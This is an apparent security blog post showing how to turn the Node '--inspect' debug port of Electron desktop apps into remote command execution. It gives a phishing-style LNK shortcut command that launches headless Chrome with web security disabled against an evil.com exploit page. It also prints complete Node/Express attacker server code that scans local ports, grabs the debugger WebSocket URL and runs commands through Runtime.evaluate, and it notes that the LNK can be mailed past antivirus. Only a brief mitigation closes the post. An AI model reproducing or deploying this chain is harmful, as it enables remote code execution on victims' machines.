Exploiting Electron Applications using Debug Feature

Intro

It is possible to execute commands in Electron Desktop applications using Chrome DevTools. In this article, I will explain how to convert local attacks using Electron Applications into remote command execution.

NodeJS has an “—inspect” parameter which can be very interesting from a security perspective. the NodeJS process uses the WebSocket to listen for commands for that port. For instance, if a victim apply “electron.exe –inspect = 1337” parameter, the debugger server started on port 1337 for electron. It is possible to execute arbitrary commands using this structure.

If the Electron Application is started with inspect parameter, a local attacker can use a browser to execute commands in the context of the target application.

To test this feature, you can use “chrome://inspect/#devices”, toaccess “localhost:1337” in the targets section.

https://evren.ninja/img/Untitled.png

Figure - Chrome Inspect-Remote targets → inspect” access

https://evren.ninja/img/Untitled%201.png

Figure - Electron Desktop Application code execution

While this approach would normally be effective for local attacks, I developed the following attack scenario with the idea of how a remote attacker can trigger this vulnerability.

My Attack Scenario :

https://evren.ninja/img/Untitled%202.png

Prerequisites for the attack scenario

  • An Electron Application with a open debugger port.
  • Chrome internet browser must be installed.

My attack scenario

1- I will try to create an attack scenario where we can make less noise by using the Chrome internet browser installed on the victim side.

Let’s try to chain a few methods together and turn the local attack into a remote attack. As mentioned in the examples above, I can execute commands by inspecting the application via chrome. At this point, I will take advantage of the headless feature Chrome offers to end users, since the chrome GUI complicates our work.

Since I’m planning a remote attack, we will trigger the chrome.exe command and arguments via the LNK file as below.

The LNK file is a very common method in malware and I can send it to the victim via mail without being detected by antivirus.

2-

A headless browser is a great tool for automated testing and server environments where you don't need a visible UI shell. For example, you may want to run some tests against a real web page, create a PDF of it, or just inspect how the browser renders an URL.

Source : https://developers.google.com/web/updates/2017/04/headless-chrome

When I execute a command like “chrome —headless www.google.com” we visit google.com. As you can see, Gui does not open at this point. In this way, you can come across “Chrome headless” usage frequently.

3- When the victim visits a malicious site, I need to get access to the port (1337) port and evolve into a structure that will allow code execution. However, this is an obstacle for us because the websocket address provided by the debugger server uses the UUID. For this reason, even if there is a websocket-1337 port open in Localhost, we need to bypass SOP.

Unfortunately, using chrome only as headless does not solve our problem. At this stage, we use another chrome parameter —disable-web-security. By using this parameter, we completely disable SOP.

4- We can access the debugger server “localhost:1337/json” for the ID value generated with the UUID. By disabling the same-origin policy, you can obtain the UUID address and access to the key for unauthorized access to the electron application.

[ {
"description": "node.js instance",
"devtoolsFrontendUrl": "chrome-devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=127.0.0.1:1337/fe3320c5-e8de-41b4-910d-5a63a6e420d1",
"devtoolsFrontendUrlCompat": "chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:1337/fe3320c5-e8de-41b4-910d-5a63a6e420d1",
"faviconUrl": "[https://nodejs.org/static/favicon.ico](https://nodejs.org/static/favicon.ico)",
"id": "fe3320c5-e8de-41b4-910d-5a63a6e420d1",
"title": "Administrator: Command Prompt[5764]",
"type": "node",
"url": "file://",
"webSocketDebuggerUrl": "ws://127.0.0.1:1337/fe3320c5-e8de-41b4-910d-5a63a6e420d1"
} ]

Finally, it is necessary to put all this structure in the background as much as possible and reduce it to a single click. In order to do that we can use LNK files as it is stated above. I created a shortcut for chrome.exe like below.

C:\Windows\System32\cmd.exe /c start chrome --headless  --disable-web-security --disable-gpu --user-data-dir=~/chromeTemp http://evil.com/exploit

We can use this code below on the attacker side (evil.com) to test our method.

process.on('unhandledRejection', (err, p) => {
    console.log('An unhandledRejection occurred');
    console.log(`Rejected Promise: ${p}`);
    console.log(`Rejection: ${err}`);
});
var express = require('express');
var app = express();
var fetch = require("node-fetch");

function getid(port) {

    return fetch('http://localhost:' + port + '/json')
        .then((response) => response.json())
        .then((responseData) => {

            return responseData[0].webSocketDebuggerUrl;

        }).catch(function(error) {
            console.log('Request failed:', error.message);
        });

}

function exploit(url) {

    function nodejs() {
        process.mainModule.require('child_process').exec("calc")
    };
    
    const packet = {
        "id": 13371337,
        "method": "Runtime.evaluate",
        "params": {
            "expression": `(${nodejs})()`
        }
    };
    const WebSocket = require('ws');
    const ws = new WebSocket(url);
    ws.onopen = () => ws.send(JSON.stringify(packet));
    ws.onmessage = ({
        data
    }) => {
        if (JSON.parse(data).id === 13371337) ws.close()
    };
    ws.onerror = err => console.error('failed to connect');

}

app.get('/exploit', function(req, res) {
    res.send('Hello World!')
    var i = 0;
    for (i = 2000; i < 10000; i++) {

        getid(i).then(function(response) {
            console.log("Success : " + response)
            exploit(response)
        });

    }

})

var server = app.listen(5000, function() {
    console.log('Node server is running..');
});

When I examined the above code, I started a node server over 5000 port using Express.

This piece of code is going to trigger attack when the victim machine browses /exploit path. we will get access the malicious content with headless chrome

var server = app.listen(5000, function() {
    console.log('Node server is running..');
});

Then, we get JSON output from the relevant debugger port within the getid function. Using “getid” function, we get the WebSocket link and the value containing the UUID.


function getid(port) {

    return fetch('http://localhost:' + port + '/json')
        .then((response) => response.json())
        .then((responseData) => {

            return responseData[0].webSocketDebuggerUrl;

        }).catch(function(error) {
            console.log('Request failed:', error.message);
        });

}

Finally, in the exploit function, we create the malicious packet that will be sent over the websocket. We will use Runtime domain in this malicious packet.

Runtime domain exposes JavaScript runtime by means of remote evaluation and mirror objects. Evaluation results are returned as mirror object that expose object type, string representation and unique identifier that can be used for further object reference. Original objects are maintained in memory unless they are either explicitly released or are released along with the other objects in their object group.

We will try execute commands in the electron main context using the evaluate method in the Runtime domain. We add the expression parameter only because the others are optional and we call the calc process from the NodeJS function.

    const packet = {
        "id": 13371337,
        "method": "Runtime.evaluate",
        "params": {
            "expression": `(${nodejs})()`
        }
    };

https://evren.ninja/img/electron3.png

Figure - runtime.domain - https://chromedevtools.github.io/devtools-protocol/tot/Runtime/#method-evaluate

For recommendations to mitigate, I added a simple control to an example Electron Application. If there is an “inspect” parameter in the “process.argv” list, the application closes itself.

https://evren.ninja/img/Untitled%204.png

Figure - Sample Electron Application - Electron Fiddle Test Tool

Reference :

https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f

Thanks to Barış Akkaya

EOF